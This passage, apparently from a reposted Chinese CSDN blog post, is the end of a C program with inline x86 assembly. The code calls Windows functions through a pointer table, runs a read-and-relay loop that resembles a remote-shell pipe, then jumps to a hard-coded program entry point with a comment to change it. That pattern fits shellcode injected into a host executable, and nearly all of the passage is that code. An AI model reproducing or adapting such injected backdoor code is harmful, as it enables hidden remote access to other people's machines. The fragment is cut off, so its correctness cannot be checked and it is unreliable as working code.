mov eax,[ebp-1E0h]
push eax
call dword ptr [ebp-401Ch]
mov [ebp-11F0h],eax
loc_0040132A:
cmp dword ptr [ebp-11F0h],0
jnz loc_00401338
jmp loc_00401413
loc_00401338:
push 1000h
push 0
lea ecx,[ebp-11E8h]
push ecx
call dword ptr [ebp-4090h]
add esp,0Ch
push 0
lea edx,[ebp-4]
push edx
push 0
push 0
push 0
mov eax,[ebp-38h]
push eax
call dword ptr [ebp-4020h]
cmp dword ptr [ebp-4],0
jbe loc_004013C3
push 0
lea ecx,[ebp-1E8h]
push ecx
mov edx,[ebp-4]
push edx
lea eax,[ebp-11E8h]
push eax
mov ecx,[ebp-38h]
push ecx
call dword ptr [ebp-4024h]
mov [ebp-11F0h],eax
cmp dword ptr [ebp-11F0h],0
jnz loc_00401399
jmp loc_00401411
loc_00401399:
push 0
mov edx,[ebp-4]
push edx
lea eax,[ebp-11E8h]
push eax
mov ecx,[ebp-12F8h]
push ecx
call dword ptr [ebp-4048h]
mov [ebp-11F0h],eax
cmp dword ptr [ebp-11F0h],0
jg loc_004013C3
jmp loc_0040140F
loc_004013C3:
jmp loc_004011E8
loc_004013C8:
mov edx,[ebp-1E0h]
push edx
call dword ptr [ebp-4010h]
mov eax,[ebp-38h]
push eax
call dword ptr [ebp-4010h]
mov ecx,[ebp-2Ch]
push ecx
call dword ptr [ebp-4010h]
mov edx,[ebp-34h]
push edx
call dword ptr [ebp-4010h]
mov eax,[ebp-12F8h]
push eax
call dword ptr [ebp-403Ch]
push 3E8h
call dword ptr [ebp-4018h]
jmp loc_004010F7
loc_0040140F:
jmp loc_004013C8
loc_00401411:
jmp loc_004013C8
loc_00401413:
jmp loc_004013C8
loc_00401415:
jmp loc_004013C8
loc_00401417:
jmp loc_004013C8
loc_00401419:
mov esp,ebp
pop ebp
ret
}
/////////////////////////////////////////////////////////////
ex:
_asm
{
pop ecx
push ecx
ret
}
ex1:
_asm
{
call ex
ret
}
exit1:
///////////////////////////////////////////////////////////////
_asm
{
mov eax,0x401000 //这里需要更改为程序人口
jmp eax
}
return 0;
}
本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/yincheng01/archive/2009/06/08/4250312.aspx
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